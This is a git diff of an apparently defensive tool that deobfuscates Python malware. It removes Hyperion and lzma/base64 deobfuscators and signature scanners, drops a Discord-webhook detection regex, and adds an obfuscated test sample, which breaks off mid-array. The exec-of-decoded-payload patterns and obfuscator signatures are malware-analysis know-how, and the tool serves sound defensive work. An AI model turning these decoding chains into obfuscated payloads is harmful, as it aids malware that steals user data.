Hyperion obfuscation schema -https://github.com/billythegoat356/Hyperion -Hyperion is pretty easy to recognize considering it advertises itself at the top of the code -(Forcibly btw if you try and remove it the code doesn't run) -If the malware author somehow removed it, then lines like - from math import prod as Hypothesis - class _theory: - except Exception as _floor: - if 365101 > 7435378: - _theory.execute(code = Walk(_floor)) - elif 337143 > 2680668: - _theory(_modulo = -56047 * -45510).Calculate(CallFunction = _builtins._system * 14696) -and generally weird looking pseudo-math code is probably Hyperion -""" - -import ast -import base64 -import binascii -import re -import zlib -from ast import * - -from ..utils import WEBHOOK_REGEX - - -class HyperionB64zlibBytes(ast.NodeTransformer): - """ - Temp transformer for the base64 zlib frosting until we get the better oven - """ - - def visit_Call(self, node: Call): - match node: - case Call( - func=Attribute( - value=Call( - func=Attribute( - value=Call(func=Name(id='__import__'), args=[Constant(value='base64')]), - attr='b64decode'), - args=[ - Call( - func=Attribute( - value=Call(func=Name(id='__import__'),args=[Constant(value='zlib')]), - attr='decompress'), - args=[Constant(value=payload)])]), - attr='decode')): - value = base64.b64decode(zlib.decompress(payload)).decode() - return Constant(value=value) - case Call( - func=Attribute( - value=Call(func=Name(id='__import__'), args=[Constant(value='base64')]), - attr='b64decode'), - args=[ - Call( - func=Attribute( - value=Call(func=Name(id='__import__'),args=[Constant(value='zlib')]), - attr='decompress'), - args=[Constant(value=payload)])]): - value = base64.b64decode(zlib.decompress(payload)) - return Constant(value=value) - case _: - node.func = self.visit(node.func) - node.args = [self.visit(n) for n in node.args] - node.keywords = [self.visit(n) for n in node.keywords] - return node - - -def deobf_hyperion(code: str) -> list[str]: - """ - Extracts all strings containing 'https' from the code - """ - no_frosting = ast.unparse(HyperionB64zlibBytes().visit(ast.parse(code))) - code = zlib.decompress( - b''.join( - ast.literal_eval(byte_string) - for byte_string, _ in re.findall(r"(? str: - webhooks = [url for url in urls if re.search(WEBHOOK_REGEX, url)] - if webhooks: - return ('Webhooks:\n' - + '\n'.join(webhooks)) - else: - return ('No webhooks found, displaying all urls:\n' - + '\n'.join(urls)) - - -if __name__ == '__main__': - pass diff --git a/src/vipyr_deobf/deobfuscators/lzmaspam.py b/src/vipyr_deobf/deobfuscators/lzmaspam.py deleted file mode 100644 index 76ddee5..0000000 --- a/src/vipyr_deobf/deobfuscators/lzmaspam.py +++ /dev/null @@ -1,57 +0,0 @@ -""" -Deobfuscator for an obfuscation schema that has heavy use of lzma.decompress and base64.b64decode -Example: https://hst.sh/raw/ojucipihoc -If the file begins with - import base64 - import lzma - exec(compile(lzma.decompress(base64.b64decode(...)))) -Then it's likely this obfuscation schema -""" - -import ast -import base64 -import codecs -import lzma -import re - -from ..utils import WEBHOOK_REGEX - - -def deobf_lzma_b64(code: str) -> re.Match: - """ - Extracts webhook from code - """ - code = lzma.decompress( - ast.literal_eval( - re.search( - r"(b'.+?')\n", - lzma.decompress(base64.b64decode( - ast.literal_eval( - re.search(r"b'.+?'", code).group(0) - ) - )).decode() - ).group(1) - ) - ).decode() - var_code, mal_code = re.split(r';(?=[^;]+$)', code) - doggo = {k: v for k, v in re.findall(r'(_{3,})="(.+?)"(?:;|$)', var_code)} - a, b, c, d = map(doggo.get, re.findall(r'_{3,}', mal_code)) - webhook_match = re.search( - WEBHOOK_REGEX, - str(base64.b64decode( - codecs.decode(a, 'rot13') + b + c[::-1] + d - )) - ) - return webhook_match - - -def format_lzma_b64(webhook_match: re.Match) -> str: - if webhook_match: - return (f'Webhook:\n' - f'{webhook_match.group(0)}') - else: - return "No webhook found." - - -if __name__ == '__main__': - pass diff --git a/src/vipyr_deobf/exceptions.py b/src/vipyr_deobf/exceptions.py index 3f44aa1..43cf761 100644 --- a/src/vipyr_deobf/exceptions.py +++ b/src/vipyr_deobf/exceptions.py @@ -1,7 +1,3 @@ -import inspect -from typing import Any - - class Error(Exception): pass @@ -21,3 +17,7 @@ def __init__(self, **env_vars): """ self.env_vars = env_vars super().__init__() + + +class DeobfLoadingError(Error): + pass diff --git a/src/vipyr_deobf/scanners/blankobf2_scan.py b/src/vipyr_deobf/scanners/blankobf2_scan.py deleted file mode 100644 index b0a90b5..0000000 --- a/src/vipyr_deobf/scanners/blankobf2_scan.py +++ /dev/null @@ -1,23 +0,0 @@ -import ast -from ast import Assign, Break, Expr, For, If, Import, ImportFrom, Module - - -def scan_blankobf2(code: str): - tree = ast.parse(code) - match tree: - case Module( - body=[ - *imports, - Assign(), - Assign(), - Assign(), - Assign(), - Expr(), - ] - ) if all(isinstance(imp, Import | ImportFrom) for imp in imports): - return True - case Module( - body=[Assign(), For(body=If(body=[Expr(), Break()]))] - ): - return True - return False diff --git a/src/vipyr_deobf/scanners/fct_scan.py b/src/vipyr_deobf/scanners/fct_scan.py deleted file mode 100644 index 83f7016..0000000 --- a/src/vipyr_deobf/scanners/fct_scan.py +++ /dev/null @@ -1,88 +0,0 @@ -import ast -from ast import (Assign, Attribute, Call, Constant, Expr, Lambda, Name, Slice, - Subscript, UnaryOp, USub, arg, arguments) - - -def match_inner_underscore_function(node: ast.Call): - match node: - case Call( - func=Attribute( - value=Call( - func=Name(id='__import__'), - args=[Constant(value='zlib')] - ), - attr='decompress', - ), - args=[ - Call( - func=Attribute( - value=Call( - func=Name(id='__import__'), - args=[Constant(value='base64')] - ), - attr='b64decode', - ), - args=[ - Subscript( - value=Name(id='__'), - slice=Slice( - step=UnaryOp(op=USub(), operand=Constant(value=1))), - ) - ] - ) - ] - ): - return True - return False - - -class FCTScanner(ast.NodeVisitor): - def __init__(self): - self.underscore_function_found = False - self.payload_found = False - - def visit_Assign(self, node): - match node: - case Assign( - targets=[Name(id='_')], - value=Lambda( - args=arguments(args=[arg(arg='__')]), - body=Call( - func=Attribute( - value=Call( - func=Name(id='__import__'), - args=[Constant(value='marshal')] - ), - attr='loads', - ), - args=[body] - ) | body - ) - ) if match_inner_underscore_function(body): - self.underscore_function_found = True - return - - def visit_Expr(self, node): - match node: - case Expr( - value=Call( - func=Name(id='exec'), - args=[ - Call( - func=Name(id='_'), - args=[Constant(value=payload)] - ) - ] - ) - ) if isinstance(payload, bytes): - self.payload_found = True - return - - -def scan_fct(code: str): - fct_scanner = FCTScanner() - fct_scanner.visit(ast.parse(code)) - return ( - fct_scanner.underscore_function_found - and fct_scanner.payload_found - ) diff --git a/src/vipyr_deobf/scanners/hyperion_scan.py b/src/vipyr_deobf/scanners/hyperion_scan.py deleted file mode 100644 index bd61595..0000000 --- a/src/vipyr_deobf/scanners/hyperion_scan.py +++ /dev/null @@ -1,41 +0,0 @@ -import ast -import re -from ast import Assign, Constant, Name, Tuple - - -class HyperionScanner(ast.NodeVisitor): - def __init__(self): - self.signature_found = False - - def visit_Assign(self, node): - match node: - case Assign( - targets=[Name(id='__obfuscator__')], - value=Constant(value='Hyperion'), - ) | Assign( - targets=[Name(id='__authors__')], - value=Tuple( - elts=[ - Constant(value='billythegoat356'), - Constant(value='BlueRed') - ], - ) - ) | Assign( - targets=[Name(id='__github__')], - value=Constant(value='https://github.com/billythegoat356/Hyperion') - ): - self.signature_found = True - return - - -COMMENT_REGEX = re.compile( - r'# sourcery skip: collection-to-bool, remove-redundant-boolean, remove-redundant-except-handler' -) - - -def scan_hyperion(code: str): - if COMMENT_REGEX.search(code): - return True - hyp_scanner = HyperionScanner() - hyp_scanner.visit(ast.parse(code)) - return hyp_scanner.signature_found diff --git a/src/vipyr_deobf/scanners/pyobfuscate_scan.py b/src/vipyr_deobf/scanners/pyobfuscate_scan.py deleted file mode 100644 index 68b5c5d..0000000 --- a/src/vipyr_deobf/scanners/pyobfuscate_scan.py +++ /dev/null @@ -1,9 +0,0 @@ -import ast - -from ..deobfuscators.pyobfuscate import PayloadExtractor - - -def scan_pyobfuscate(code: str): - extractor = PayloadExtractor() - extractor.visit(ast.parse(code)) - return bool(extractor.obf_type) diff --git a/src/vipyr_deobf/scanners/vare_scan.py b/src/vipyr_deobf/scanners/vare_scan.py deleted file mode 100644 index 75619d6..0000000 --- a/src/vipyr_deobf/scanners/vare_scan.py +++ /dev/null @@ -1,16 +0,0 @@ -import re - -VARE_NAME_REGEX = re.compile(r'__VareObfuscator__') -SAINT_REGEX = re.compile(r'def saint\d+\(\):') -MIKEY_REGEX = re.compile(r'__mikey__') - - -def scan_vare(code: str): - return any( - pattern.search(code) - for pattern in ( - VARE_NAME_REGEX, - SAINT_REGEX, - MIKEY_REGEX, - ) - ) diff --git a/src/vipyr_deobf/utils.py b/src/vipyr_deobf/utils.py index 84257fc..887c327 100644 --- a/src/vipyr_deobf/utils.py +++ b/src/vipyr_deobf/utils.py @@ -1,60 +1,54 @@ -import ast -import base64 -import operator -import re -import zlib -from ast import Constant -from collections.abc import Callable - -WEBHOOK_REGEX = re.compile( - r'https?://(?:ptb\.|canary\.)?discord(?:app)?\.com/api(?:/v\d{1,2})?/webhooks/\d{17,21}/[\w-]{68}' -) -BYTES_WEBHOOK_REGEX = re.compile( - br'https?://(?:ptb\.|canary\.)?discord(?:app)?\.com/api(?:/v\d{1,2})?/webhooks/\d{17,21}/[\w-]{68}' -) - -known_funcs = { - ('base64', 'b64decode'): base64.b64decode, - ('zlib', 'decompress'): zlib.decompress, -} - -op_dict = { - ast.Add: operator.add, - ast.Sub: operator.sub, - ast.Mult: operator.mul, - ast.Div: operator.truediv, - ast.FloorDiv: operator.floordiv, - ast.Mod: operator.mod, - ast.Pow: operator.pow, - ast.LShift: operator.lshift, - ast.RShift: operator.rshift, - ast.BitOr: operator.or_, - ast.BitXor: operator.xor, - ast.BitAnd: operator.and_, - ast.MatMult: operator.matmul, - - ast.UAdd: operator.pos, - ast.USub: operator.neg, - ast.Not: operator.not_, - ast.Invert: operator.invert, -} - - -class StringCollapser(ast.NodeTransformer): - """ - Collapses Constant(value=str()) to some smaller str() - To help with seeing ast code structure - """ - - def __init__(self, renamer: str | Callable[[str], str] = 'a'): - """ - :param renamer: Either a string to rename everything to, or a function that receives the original - variable name as argument and outputs the new name - """ - self.renamer = (lambda _: renamer) if isinstance(renamer, str) else renamer - - def visit_Constant(self, node): - match node: - case Constant(value=str(value)): - return Constant(value=self.renamer(value)) - return node +import argparse +import logging +import logging.config + + +class Color: + clear = '\x1b[0m' + red = '\x1b[0;31m' + green = '\x1b[0;32m' + yellow = '\x1b[0;33m' + blue = '\x1b[0;34m' + white = '\x1b[0;37m' + bold_red = '\x1b[1;31m' + bold_green = '\x1b[1;32m' + bold_yellow = '\x1b[1;33m' + bold_blue = '\x1b[1;34m' + bold_white = '\x1b[1;37m' + + +class NoSoftWarning(logging.Filter): + def filter(self, record: logging.LogRecord) -> bool: + return not record.msg.endswith('(Expected)') + + +def setup_logging(args: argparse.Namespace): + logging_config = { + 'version': 1, + 'disable_existing_loggers': False, + 'formatters': { + 'default': { + 'format': f'{Color.bold_yellow}[{Color.blue}%(asctime)s{Color.bold_yellow}]' + f'{Color.bold_white}:{Color.green}%(levelname)s' + f'{Color.bold_white}:{Color.red}%(message)s{Color.clear}' + } + }, + 'handlers': { + 'stdout': { + 'class': 'logging.StreamHandler', + 'formatter': 'default', + 'stream': 'ext://sys.stdout', + 'filters': [] if args.show_expected else ['no_soft_warning'] + } + }, + 'filters': { + 'no_soft_warning': {'()': 'vipyr_deobf.utils.NoSoftWarning'} + }, + 'loggers': { + 'root': { + 'level': 'DEBUG' if args.debug else 'INFO', + 'handlers': ['stdout'] + } + } + } + logging.config.dictConfig(logging_config) diff --git a/tests/blankobf/v2/sample_array.exp b/tests/blankobf/v2/sample_array.exp new file mode 100644 index 0000000..406d960 --- /dev/null +++ b/tests/blankobf/v2/sample_array.exp @@ -0,0 +1,2 @@ +import numpy as np +arr = np.zeros(10**14) \ No newline at end of file diff --git a/tests/blankobf/v2/sample_array.obf b/tests/blankobf/v2/sample_array.obf new file mode 100644 index 0000000..ed1705a --- /dev/null +++ b/tests/blankobf/v2/sample_array.obf @@ -0,0 +1,8 @@ +𬪘𞁚ꂢ𘱉줘𲀉𑠛𡐀𦡓𱧊 = [(12960990922726122998 + 65868) // 2 - 6480495461363061499 - 32868, (5385072074358232606 + 138444) // 2 - 2692536037179116303 - 69056, 1690189078924052069857 - 1690189078924052069634, 239507640197816522580 - 239507640197816522483, 691374775008219923155 - 691374775008219923040, (2355458688150187080 + 65280) // 2 - 1177729344075093540 - 32555, 31163838818165179825 - 31163838818165179800, 42388518017441051280 - 42388518017441051181, 482720060317970348280 - 482720060317970348208, (15002790139942292508 + 35640) // 2 - 7501395069971146254 - 17688, (3581351718225256100 + 203770) // 2 - 1790675859112628050 - 101680, (3469200121707694192 + 44402) // 2 - 1734600060853847096 - 22052, 568137186724545884934 - 568137186724545884820, 422655077055884876750 - 422655077055884876500, 1478634161382516748131 - 1478634161382516747958, (432909161050656238 + 15232) // 2 - 216454580525328119 - 7600, 58504820379756813286 - 58504820379756813168, 267271382358162044925 - 267271382358162044742, (12399400577947336210 + 16878) // 2 - 6199700288973668105 - 8410, 11265963838074243337 - 11265963838074243168, 59298315130740425154 - 59298315130740424908, (18138441830374201088 + 53196) // 2 - 9069220915187100544 - 26455, (16506108909102632470 + 56050) // 2 - 8253054454551316235 - 27966, 534607099336576233300 - 534607099336576233103, (15618792595296304310 + 112896) // 2 - 7809396297648152155 - 56280, (1794111561186644480 + 99898) // 2 - 897055780593322240 - 49698, 155895832683925176304 - 155895832683925176150, 1550247113703764823885 - 1550247113703764823666, 606093992282155762752 - 606093992282155762593, (6297101539387665970 + 67522) // 2 - 3148550769693832985 - 33670, (3328853542058589442 + 133084) // 2 - 1664426771029294721 - 66348, 307685582848433638890 - 307685582848433638800, (11606688914551167496 + 79716) // 2 - 5803344457275583748 - 39676, 24950812902508580494 - 24950812902508580483, (4832661103770342456 + 132288) // 2 - 2416330551885171228 - 65932, 504596465327324534667 - 504596465327324534490, (652113021257436026 + 26350) // 2 - 326056510628718013 - 13090, 718993143151215730572 - 718993143151215730414, 82650301849075312494 - 82650301849075312476, 613007624538116882390 - 613007624538116882283, 3727419488987667102 - 3727419488987667101, 1090302342897874146305 - 1090302342897874146178, (11954431605007078002 + 26416) // 2 - 5977215802503539001 - 13104, 125090206538514546240 - 125090206538514546216, (626965459391968280 + 60636) // 2 - 313482729695984140 - 30155, 179960353952375925432 - 179960353952375925408, (10770363589858005036 + 146370) // 2 - 5385181794929002518 - 72930, 49834279279156092978 - 49834279279156092907, 536374361329890147111 - 536374361329890146882, (16709312817109098288 + 61614) // 2 - 8354656408554549144 - 30644, 125288788389229259350 - 125288788389229259304, (9915219709777493202 + 89154) // 2 - 4957609854888746601 - 44450, 1163645470854416216135 - 1163645470854416215920, (9511056049430562560 + 110160) // 2 - 4755528024715281280 - 54864, (10688866084767912200 + 205010) // 2 - 5344433042383956100 - 102258, 113798918889201437085 - 113798918889201437024, 224551098642490026067 - 224551098642490025966, 79252190443892036430 - 79252190443892036376, 198119062617452154148 - 198119062617452154114, (5474963906014348434 + 3112) // 2 - 2737481953007174217 - 1552, 19779752054868928352 - 19779752054868928320, (17841427268538432706 + 42032) // 2 - 8920713634269216353 - 20942, (4199021624491535516 + 117600) // 2 - 2099510812245767758 - 58653, 175255678601624164910 - 175255678601624164879, 13739516081157752960 - 13739516081157752880, 1066857731861133375969 - 1066857731861133375810, (17807300169269258696 + 134288) // 2 - 8903650084634629348 - 66990, 1729701534856019840486 - 1729701534856019840292, (11280808540254500708 + 20808) // 2 - 5640404270127250354 - 10353, 633270304151667986220 - 633270304151667986040, (14862489862492514364 + 8680) // 2 - 7431244931246257182 - 4270, (11921688587241141606 + 61230) // 2 - 5960844293620570803 - 30420, (5003611781409535068 + 70848) // 2 - 2501805890704767534 - 35208, 229137493184200188883 - 229137493184200188852, 69378678437486201970 - 69378678437486201955, (15138383615598563664 + 13680) // 2 - 7569191807799281832 - 6825, (15519506583948831550 + 89700) // 2 - 7759753291974415775 - 44712, 488161758832137428060 - 488161758832137428005, 1725709337758404652278 - 1725709337758404652052, 365634566003709737160 - 365634566003709737100, 330903648131628068280 - 330903648131628068220, 30927004843578415746 - 30927004843578415544, 240948871985070519177 - 240948871985070519054, (13786699940951510460 + 8976) // 2 - 6893349970475755230 - 4466, (2640690102204259938 + 6080) // 2 - 1320345051102129969 - 3021, (4269174847547163684 + 106928) // 2 - 2134587423773581842 - 53301, (5646188002903750526 + 36270) // 2 - 2823094001451875263 - 17940, (8617538342809747850 + 98600) // 2 - 4308769171404873925 - 49200, (17097356556294568324 + 16616) // 2 - 8548678278147284162 - 8174, 686399643206412828854 - 686399643206412828756, 88309935437150918554 - 88309935437150918421, 163275999801242151222 - 163275999801242151201, 169962638074619253600 - 169962638074619253576, (5425654621974846872 + 197714) // 2 - 2712827310987423436 - 98648, 284004097456298571177 - 284004097456298571030, (18420214093920100902 + 94866) // 2 - 9210107046960050451 - 47270, (136121870771332260 + 91256) // 2 - 68060935385666130 - 45441, 585987194294405316768 - 585987194294405316672, 529065156599574948704 - 529065156599574948496, 459386298369817402980 - 459386298369817402760, (11168836261277216840 + 4224) // 2 - 5584418130638608420 - 2101, 477641117190369260864 - 477641117190369260785, (11936897516050815784 + 14364) // 2 - 5968448758025407892 - 7119, 385846899525529815854 - 385846899525529815607, (1469328757403198486 + 30600) // 2 - 734664378701599243 - 15232, (4874921247188444094 + 15264) // 2 - 2437460623594222047 - 7579, 78806228262541666560 - 78806228262541666400, (4267054300153762260 + 25060) // 2 - 2133527150076881130 - 12351, 14599894379285469996 - 14599894379285469954, 64330733472383719122 - 64330733472383718916, (592626434406658884 + 35776) // 2 - 296313217203329442 - 17784, 56471237148528348966 - 56471237148528348949, (8787593138791540036 + 132600) // 2 - 4393796569395770018 - 66130, (4874444432861205210 + 63414) // 2 - 2437222216430602605 - 31590, (12448424677562098306 + 92944) // 2 - 6224212338781049153 - 46315, (3844259791529423384 + 100716) // 2 - 1922129895764711692 - 50204, (4180461417130303408 + 153452) // 2 - 2090230708565151704 - 76499, 863605900888242729012 - 863605900888242728829, (14325741828271466348 + 198400) // 2 - 7162870914135733174 - 98952, (5823794902936061760 + 10512) // 2 - 2911897451468030880 - 5238, (5352513226721350088 + 920) // 2 - 2676256613360675044 - 459, (13915122146637967978 + 75602) // 2 - 6957561073318983989 - 37698, (9848080128011247964 + 130556) // 2 - 4924040064005623982 - 65024, (17058098954635666384 + 26880) // 2 - 8529049477317833192 - 13400, (11385245528570026072 + 178494) // 2 - 5692622764285013036 - 89034, (5130513371711630556 + 154452) // 2 - 2565256685855815278 - 77043, (2671281587599334064 + 176904) // 2 - 1335640793799667032 - 88218, 612195530009531640673 - 612195530009531640536, (6762782900559702022 + 3402) // 2 - 3381391450279851011 - 1692, (18294504266627189790 + 23660) // 2 - 9147252133313594895 - 11760, (9598363987277692766 + 102240) // 2 - 4799181993638846383 - 50976, (17776300831680946524 + 41710) // 2 - 8888150415840473262 - 20640, 3792036264678557452 - 3792036264678557448, 28985029318911063675 - 28985029318911063420, (18319302205949896388 + 178560) // 2 - 9159651102974948194 - 89100, (3761689578856302968 + 64680) // 2 - 1880844789428151484 - 32186, (10434244826278928928 + 50820) // 2 - 5217122413139464464 - 25340, 219646247194109763520 - 219646247194109763440, (13779150668178285122 + 1260) // 2 - 6889575334089142561 - 625, (16937664341920760622 + 84666) // 2 - 8468832170960380311 - 42230, 1815767549061713052975 - 1815767549061713052750, (1438998874596801684 + 60840) // 2 - 719499437298400842 - 30330, 957667533681522040576 - 957667533681522040419, (17748281374135202484 + 43808) // 2 - 8874140687067601242 - 21756, 355632118700066024435 - 355632118700066024280, (2239757930429405804 + 76160) // 2 - 1119878965214702902 - 37920, 509220551984351624560 - 509220551984351624480, 76223930956728658257 - 76223930956728658136, (15848606752328630908 + 23058) // 2 - 7924303376164315454 - 11502, 185470196719326617566 - 185470196719326617432, (4609145893726353676 + 42066) // 2 - 2304572946863176838 - 20976, 233603344379340467232 - 233603344379340467069, (14821769900544187294 + 250992) // 2 - 7410884950272093647 - 125244, (13577486573671100006 + 17080) // 2 - 6788743286835550003 - 8512, (2604860906338898668 + 236572) // 2 - 1302430453169449334 - 118048, 885824372483141650818 - 885824372483141650709, 1897133252427628497976 - 1897133252427628497728, 2032777582457633546312 - 2032777582457633546080, 247466067782334079965 - 247466067782334079800, (9046474882117521524 + 67620) // 2 - 4523237441058760762 - 33695, (3070486542751475310 + 67896) // 2 - 1535243271375737655 - 33879, 1692523670512629076577 - 1692523670512629076374, (11475865949865154626 + 39008) // 2 - 5737932974932577313 - 19451, (1015835818904095928 + 690) // 2 - 507917909452047964 - 340, 992100184019427833558 - 992100184019427833359, 1231909669622062109484 - 1231909669622062109290, 1540347094268860107120 - 1540347094268860106915, (6642665730811137596 + 40260) // 2 - 3321332865405568798 - 19965, (17367357708031186812 + 55080) // 2 - 8683678854015593406 - 27472, (11475003228448365406 + 86826) // 2 - 5737501614224182703 - 43326, 287143273241373500418 - 287143273241373500384, 140587926705735286922 - 140587926705735286821, (12580360505618184984 + 9600) // 2 - 6290180252809092492 - 4770, (9495688289071513962 + 40950) // 2 - 4747844144535756981 - 20370, 808358865144455687328 - 808358865144455687132, (9188912702434278586 + 4704) // 2 - 4594456351217139293 - 2328, (15658029470794959332 + 18278) // 2 - 7829014735397479666 - 9120, (4618237624858745312 + 5536) // 2 - 2309118812429372656 - 2760, (13942018096227074790 + 79902) // 2 - 6971009048113537395 - 39758, 204098465288014664500 - 204098465288014664450, 351101762542774243752 - 351101762542774243684, (4907460529904396610 + 129960) // 2 - 2453730264952198305 - 64809, (14563726640237143862 + 18036) // 2 - 7281863320118571931 - 8964, 352068522780420174575 - 352068522780420174520, 3806852610726269979 - 3806852610726269910, 108405935799443306235 - 108405935799443306128, 246994237384086319736 - 246994237384086319680, 1678398099360704326076 - 1678398099360704325864, 633954367941895342469 - 633954367941895342368, (13777300406852276342 + 89888) // 2 - 6888650203426138171 - 44732, 799192776793073381901 - 799192776793073381712, (14608581531222551904 + 31616) // 2 - 7304290765611275952 - 15656, 1045396846995424962350 - 1045396846995424962220, 910593124134028723626 - 910593124134028723493, (17206996077608322490 + 119540) // 2 - 8603498038804161245 - 59631, 357470385584523832035 - 357470385584523831954, 630745611423385807840 - 630745611423385807704, (11203633270505447166 + 112132) // 2 - 5601816635252723583 - 55872, (2439638798985994576 + 26418) // 2 - 1219819399492997288 - 13090, (2715152510337653884 + 243386) // 2 - 1357576255168826942 - 121440, 1434334118397836681277 - 1434334118397836681088, 239815474334645278122 - 239815474334645277920, (5195419659699938372 + 219098) // 2 - 2597709829849969186 - 109296, 223379840082702830630 - 223379840082702830524, 957707589786226064457 - 957707589786226064324, (3173244898609405296 + 39216) // 2 - 1586622449304702648 - 19494, (8881106633449541674 + 56072) // 2 - 4440553316724770837 - 27864, 1017311492163008879531 - 1017311492163008879308, 206350453535502054926 - 206350453535502054903, (10495459791884811876 + 46080) // 2 - 5247729895942405938 - 22950, 146433043128849559394 - 146433043128849559332, 1026584983942251611740 - 1026584983942251611606, (13871470469117880488 + 31428) // 2 - 6935735234558940244 - 15633, (5317301361632458420 + 141152) // 2 - 2658650680816229210 - 70400, 1116617792084239331250 - 1116617792084239331100, (2743097579454126846 + 90792) // 2 - 1371548789727063423 - 45162, 635780981586081019080 - 635780981586081018975, (13602399422728629732 + 160500) // 2 - 6801199711364314866 - 80036, 317551686879140768277 - 317551686879140768218, (1128520685584947962 + 105664) // 2 - 564260342792473981 - 52705, (2355287940336436592 + 131052) // 2 - 1177643970168218296 - 65325, (7865175545724267440 + 94552) // 2 - 3932587772862133720 - 47064, 836830638543388888092 - 836830638543388887985, (8618986969242965664 + 20048) // 2 - 4309493484621482832 - 9968, (14307770769050646466 + 63756) // 2 - 7153885384525323233 - 31812, (12454823127507180342 + 128760) // 2 - 6227411563753590171 - 64195, (12665752069760241804 + 20944) // 2 - 6332876034880120902 - 10285, (8814560701389214890 + 141168) // 2 - 4407280350694607445 - 70411, 571285510860962183797 - 571285510860962183678, 149966091118636368642 - 149966091118636368444, (10971881630304391460 + 50576) // 2 - 5485940815152195730 - 25179, 2061760014030978447538 - 2061760014030978447285, 612241418516757201459 - 612241418516757201282, 458990620286161790464 - 458990620286161790336, (9797836100076825364 + 43680) // 2 - 4898918050038412682 - 21775, (10109744550790041674 + 51146) // 2 - 5054872275395020837 - 25466, (12229343961895564580 + 4884) // 2 - 6114671980947782290 - 2431, (1699026199898427156 + 119528) // 2 - 849513099949213578 - 59630, (15368522272150363022 + 25308) // 2 - 7684261136075181511 - 12543, 1126107332554789577160 - 1126107332554789576930, (15681180744122787618 + 19894) // 2 - 7840590372061393809 - 9898, (6827805326640731220 + 43320) // 2 - 3413902663320365610 - 21600, (1749534354449172386 + 170550) // 2 - 874767177224586193 - 85050, 909773915554147328580 - 909773915554147328475, 1670997166092954862747 - 1670997166092954862526, (3819050296102918930 + 22672) // 2 - 1909525148051459465 - 11227, (2500166516853706098 + 107254) // 2 - 1250083258426853049 - 53464, 30197993524052704438 - 30197993524052704416, 427477364304438051296 - 427477364304438051184, 702225654807581694120 - 702225654807581693998, (4480505368275880940 + 87312) // 2 - 2240252684137940470 - 43452, (6844284223943809322 + 40992) // 2 - 3422142111971904661 - 20412, 24527538061673347960 - 24527538061673347946, (4544467845532522126 + 141680) // 2 - 2272233922766261063 - 70610, (14008466795492777014 + 22494) // 2 - 7004233397746388507 - 11178, (7071947397928208662 + 81158) // 2 - 3535973698964104331 - 40460, (3222027251419717612 + 193256) // 2 - 1611013625709858806 - 96432, (890577609420472186 + 6916) // 2 - 445288804710236093 - 3451, 450964313829430760896 - 450964313829430760799, 349722288532314588303 - 349722288532314588240, (5547433763639678272 + 66516) // 2 - 2773716881819839136 - 33189, (17760369355970911466 + 40176) // 2 - 8880184677985455733 - 20034, 450289304541613559664 - 450289304541613559487, 126927395234671258980 - 126927395234671258950, (10848347302607530072 + 162288) // 2 - 5424173651303765036 - 80937, 1097533871334211589140 - 1097533871334211588886, 376730389271440527390 - 376730389271440527135, (15951212923210119522 + 54510) // 2 - 7975606461605059761 - 27176, (10534344540426817700 + 30024) // 2 - 5267172270213408850 - 14958, 791877319727741581398 - 791877319727741581231, 210273912321977873070 - 210273912321977872873, (17862147283086544244 + 44650) // 2 - 8931073641543272122 - 22230, 1920625013928932733597 - 1920625013928932733378, (7408943790936791360 + 51756) // 2 - 3704471895468395680 - 25821, 68969430940861928176 - 68969430940861928148, 18790636216873450880 - 18790636216873450876, (282253218618759584 + 12960) // 2 - 141126609309379792 - 6390, (7639758703347156608 + 67680) // 2 - 3819879351673578304 - 33760, (7753562049269193312 + 57260) // 2 - 3876781024634596656 - 28560, (8535506213514639774 + 28674) // 2 - 4267753106757319887 - 14256, (2388584238108858210 + 26096) // 2 - 1194292119054429105 - 12815, (4763404979749424542 + 100940) // 2 - 2381702489874712271 - 50367, 774918266322285761970 - 774918266322285761865, (639403921080987074 + 14076) // 2 - 319701960540493537 - 6987, (275673876401857298 + 32896) // 2 - 137836938200928649 - 16384, 60087157784662552914 - 60087157784662552801, 460891384481532077155 - 460891384481532076992, 483048905435144053788 - 483048905435144053594, (3419832903083986318 + 60988) // 2 - 1709916451541993159 - 30336, (5024089481786482268 + 71440) // 2 - 2512044740893241134 - 35625, (18156944116191899358 + 35956) // 2 - 9078472058095949679 - 17776, (18037107465859264336 + 179262) // 2 - 9018553732929632168 - 89424, 1113195409233978995340 - 1113195409233978995145, (12044666146653485670 + 42398) // 2 - 6022333073326742835 - 21156, (5716790981517857286 + 83720) // 2 - 2858395490758928643 - 41745, 1012757178702185823552 - 1012757178702185823428, (6923894224765254384 + 52668) // 2 - 3461947112382627192 - 26103, (12442405082692669542 + 139784) // 2 - 6221202541346334771 - 69690, (1588061376703325078 + 71496) // 2 - 794030688351662539 - 35640, 312710292577934499840 - 312710292577934499635, (16198905155533511066 + 138232) // 2 - 8099452577766755533 - 68968, (867209455810661606 + 40040) // 2 - 433604727905330803 - 19890, 1126960457660774318199 - 1126960457660774317970, 56629302381121577470 - 56629302381121577459, (2126051433385527184 + 9282) // 2 - 1063025716692763592 - 4602, (14921650528598610856 + 35442) // 2 - 7460825264299305428 - 17622, (16780426845009890846 + 49140) // 2 - 8390213422504945423 - 24500, 550342658515095621603 - 550342658515095621530, (16724935685760612940 + 95424) // 2 - 8362467842880306470 - 47499, 144845343712031893658 - 144845343712031893476, (2962162317982025656 + 91568) // 2 - 1481081158991012828 - 45666, 58797191317244372937 - 58797191317244372888, 95552042196918341600 - 95552042196918341584, (4843496492609190810 + 191090) // 2 - 2421748246304595405 - 95348, 638694392410576443288 - 638694392410576443214, (15238945344059764162 + 75030) // 2 - 7619472672029882081 - 37310, (13146859380618577412 + 7060) // 2 - 6573429690309288706 - 3520, 259695369539107464448 - 259695369539107464402, (5794011966876692896 + 20480) // 2 - 2897005983438346448 - 10200, (373202400965548544 + 17600) // 2 - 186601200482774272 - 8700, 1085314011026266547760 - 1085314011026266547604, 75708869955942511860 - 75708869955942511845, (1849518885206064624 + 7668) // 2 - 924759442603032312 - 3780, (12051733963645263282 + 54648) // 2 - 6025866981822631641 - 27192, (14658555397202199832 + 76812) // 2 - 7329277698601099916 - 38233, 205438484980421853415 - 205438484980421853300, 140413918178844466240 - 140413918178844466208, 677172473952082855845 - 677172473952082855740, (2897240282679512076 + 65392) // 2 - 1448620141339756038 - 32562, (12593692883968490318 + 3996) // 2 - 6296846441984245159 - 1989, 644569350110073147060 - 644569350110073146850, (4428893707045144470 + 166064) // 2 - 2214446853522572235 - 82818, 197189690355316116731 - 197189690355316116640, (2476925016968280300 + 90134) // 2 - 1238462508484140150 - 44826, (2574865000499086648 + 99588) // 2 - 1287432500249543324 - 49665, (8264015060659651076 + 205332) // 2 - 4132007530329825538 - 102425, (10695408477104618968 + 37000) // 2 - 5347704238552309484 - 